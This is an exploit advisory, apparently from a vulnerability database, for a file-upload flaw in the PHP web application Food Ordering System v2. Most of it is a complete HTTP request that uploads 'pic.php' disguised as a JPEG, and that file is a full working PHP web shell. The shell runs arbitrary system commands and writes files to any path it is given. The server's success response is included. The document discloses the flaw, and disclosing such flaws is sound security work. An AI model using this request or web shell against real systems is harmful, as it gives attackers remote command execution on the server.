Food Ordering System 2 Shell Upload

2023.01.23
Credit: nu11secur1ty
Risk: High
Local: No
Remote: No
CVE: N/A
CWE: CWE-264

## Title: Food Ordering System v2 File upload Vulnerability + web-shell upload - RCE ## Author: nu11secur1ty ## Date: 01.23.2023 ## Vendor: https://github.com/oretnom23 ## Software: https://www.sourcecodester.com/php/16022/online-food-ordering-system-v2-using-php8-and-mysql-free-source-code.html ## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2023/Food-Ordering-System-v2.0 ## Description: The Food Ordering System v2 suffers from, File Upload and web-shell upload RCE Vulnerabilities. The upload function for the background image hover of this system is not sanitizing correctly. The attacker can upload some RCE malicious code and easily destroy this system. The status of this system is awful! ## STATUS: HIGH Vulnerability [+] Exploit: ```GET POST /fos/admin/ajax.php?action=save_settings HTTP/1.1 Host: pwnedhost.com Content-Length: 6157 Accept: */* X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.107 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryqYQLHPx3VuntGH7W Origin: http://pwnedhost.com Referer: http://pwnedhost.com/fos/admin/index.php?page=site_settings Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=598nahp235ehmk2broafrh37qq Connection: close ------WebKitFormBoundaryqYQLHPx3VuntGH7W Content-Disposition: form-data; name="name" Online Food Ordering System V2 ------WebKitFormBoundaryqYQLHPx3VuntGH7W Content-Disposition: form-data; name="email" info@sample.com ------WebKitFormBoundaryqYQLHPx3VuntGH7W Content-Disposition: form-data; name="contact" +6948 8542 623 ------WebKitFormBoundaryqYQLHPx3VuntGH7W Content-Disposition: form-data; name="about" <p style="text-align: center; background: transparent; position: relative;"><span style="font-size:28px;background: transparent; position: relative;">ABOUT US</span></b></span></p><p style="text-align: center; background: transparent; position: relative;"><span style="background: transparent; position: relative; font-size: 14px;"><span style="font-size:28px;background: transparent; position: relative;"><b style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: &quot;Open Sans&quot;, Arial, sans-serif; text-align: justify;">Lorem Ipsum</b><span style="color: rgb(0, 0, 0); font-family: &quot;Open Sans&quot;, Arial, sans-serif; font-weight: 400; text-align: justify;">&nbsp;is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry&#x2019;s standard dummy text ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book. It has survived not only five centuries, but also the leap into electronic typesetting, remaining essentially unchanged. It was popularised in the 1960s with the release of Letraset sheets containing Lorem Ipsum passages, and more recently with desktop publishing software like Aldus PageMaker including versions of Lorem Ipsum.</span><br></span></b></span></p><p style="text-align: center; background: transparent; position: relative;"><span style="background: transparent; position: relative; font-size: 14px;"><span style="font-size:28px;background: transparent; position: relative;"><span style="color: rgb(0, 0, 0); font-family: &quot;Open Sans&quot;, Arial, sans-serif; font-weight: 400; text-align: justify;"><br></span></b></span></p><p style="text-align: center; background: transparent; position: relative;"><span style="background: transparent; position: relative; font-size: 14px;"><span style="font-size:28px;background: transparent; position: relative;"><h2 style="font-size:28px;background: transparent; position: relative;">Where does it come from?</h2><p style="text-align: center; margin-bottom: 15px; padding: 0px; color: rgb(0, 0, 0); font-family: &quot;Open Sans&quot;, Arial, sans-serif; font-weight: 400;">Contrary to popular belief, Lorem Ipsum is not simply random text. It has roots in a piece of classical Latin literature from 45 BC, making it over 2000 years old. Richard McClintock, a Latin professor at Hampden-Sydney College in Virginia, looked up one of the more obscure Latin words, consectetur, from a Lorem Ipsum passage, and going through the cites of the word in classical literature, discovered the undoubtable source. Lorem Ipsum comes from sections 1.10.32 and 1.10.33 of "de Finibus Bonorum et Malorum" (The Extremes of Good and Evil) by Cicero, written in 45 BC. This book is a treatise on the theory of ethics, very popular during the Renaissance. The first line of Lorem Ipsum, "Lorem ipsum dolor sit amet..", comes from a line in section 1.10.32.</p></span></b></span></p> ------WebKitFormBoundaryqYQLHPx3VuntGH7W Content-Disposition: form-data; name="img"; filename="pic.php" Content-Type: image/jpeg <!-- Project Name : PHP Web Shell --> <!-- Version : 4.0 nu11secur1ty --> <!-- First development date : 2022/10/05 --> <!-- This Version development date : 2022/10/05 --> <!-- Moded and working with PHP 8 : 2022/10/05 --> <!-- language : html, css, javascript, php --> <!-- Developer : nu11secur1ty --> <!-- Web site : https://www.nu11secur1ty.com/ --> <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html" charset="euc-kr"> <title>PHP Web Shell Ver 4.0 by nu11secur1ty</title> <script type="text/javascript"> function FocusIn(obj) { if(obj.value == obj.defaultValue) obj.value = ''; } function FocusOut(obj) { if(obj.value == '') obj.value = obj.defaultValue; } </script> </head> <body> <b>WebShell's Location = http://<?php echo $_SERVER['HTTP_HOST']; echo $_SERVER['REQUEST_URI'] ?></b><br><br> HTTP_HOST = <?php echo $_SERVER['HTTP_HOST'] ?><br> REQUEST_URI = <?php echo $_SERVER['REQUEST_URI'] ?><br> <br> <form name="cmd_exec" method="post" action="http://<?php echo $_SERVER['HTTP_HOST']; echo $_SERVER['REQUEST_URI'] ?>"> <input type="text" name="cmd" size="70" maxlength="500" value="Input command to execute" onfocus="FocusIn(document.cmd_exec.cmd)" onblur="FocusOut(document.cmd_exec.cmd)"> <input type="submit" name="exec" value="exec"> </form> <?php if(isset($_POST['exec'])) { exec($_POST['cmd'],$result); echo '----------------- < OutPut > -----------------'; echo '<pre>'; foreach($result as $print) { $print = str_replace('<','&lt;',$print); echo $print . '<br>'; } echo '</pre>'; } else echo '<br>'; ?> <form enctype="multipart/form-data" name="file_upload" method="post" action="http://<?php echo $_SERVER['HTTP_HOST']; echo $_SERVER['REQUEST_URI'] ?>"> <input type="file" name="file"> <input type="submit" name="upload" value="upload"><br> <input type="text" name="target" size="100" value="Location where file will be uploaded (include file name!)" onfocus="FocusIn(document.file_upload.target)" onblur="FocusOut(document.file_upload.target)"> </form> <?php if(isset($_POST['upload'])) { $check = move_uploaded_file($_FILES['file']['tmp_name'], $_POST['target']); if($check == TRUE) echo '<pre>The file was uploaded successfully!!</pre>'; else echo '<pre>File Upload was failed...</pre>'; } ?> </body> </html> ------WebKitFormBoundaryqYQLHPx3VuntGH7W-- ``` [+] Response: ```HTTP HTTP/1.1 200 OK Date: Mon, 23 Jan 2023 12:27:44 GMT Server: Apache/2.4.54 (Win64) OpenSSL/1.1.1p PHP/8.2.0 X-Powered-By: PHP/8.2.0 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Content-Length: 1 Connection: close Content-Type: text/html; charset=UTF-8 1 ``` ## Reproduce: [href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2023/Food-Ordering-System-v2.0) ## Reference: [href](https://portswigger.net/web-security/file-upload) ## Proof and Exploit: [href](https://www.youtube.com/watch?v=t7RnRFnXTP4) ## Proof and Exploit: [href](https://streamable.com/c026hq) ## Time spent `01:00:00`


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2023, cxsecurity.com

 

Back to Top